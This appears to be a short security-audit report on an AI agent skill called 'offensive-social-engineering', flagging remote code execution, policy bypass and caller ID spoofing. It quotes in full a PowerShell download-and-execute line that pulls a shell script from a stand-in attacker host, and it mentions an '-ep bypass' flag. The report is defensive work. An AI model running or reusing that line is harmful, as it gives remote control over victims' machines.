offensive-social-engineering
Fail
Audited by Gen Agent Trust Hub on Aug 27, 2026
Risk Level: CRITICALREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONEXTERNAL_DOWNLOADSPRIVILEGE_ESCALATIONDYNAMIC_EXECUTION
Full Analysis
- [REMOTE_CODE_EXECUTION]: The skill includes a DuckyScript payload designed to execute a PowerShell command that downloads and executes code directly into memory using
IEX((New-Object Net.WebClient).DownloadString('https://cdn.attacker.com/shell.ps1')). This is a classic remote code execution pattern targeting an external, untrusted domain. - [EXTERNAL_DOWNLOADS]: The skill references
https://o.mg.lol, which was flagged as a malicious URL by automated security scanners. Additionally, it provides instructions for installing third-party tools and libraries viapip install twilioandapt-get install asterisk. - [PRIVILEGE_ESCALATION]: The provided PowerShell payloads utilize the
-ep bypassflag, which is specifically intended to circumvent execution policies that restrict the running of scripts on a system. - [DYNAMIC_EXECUTION]: The skill uses dynamic execution patterns, including Python 'here-doc' blocks (
python3 <<'PYEOF') to execute inline code and shell commands that dynamically generate configuration files likepretext.xmlandextensions.confat runtime. - [COMMAND_EXECUTION]: The skill contains multiple shell scripts and command-line instructions for setting up VoIP infrastructure, caller ID spoofing, and automated OSINT harvesting using various external repositories.
Recommendations
- CRITICAL: 1 infected file(s) detected - DO NOT USE
- AI detected serious security threats
- Contains 1 malicious URL(s) - DO NOT USE
Audit Metadata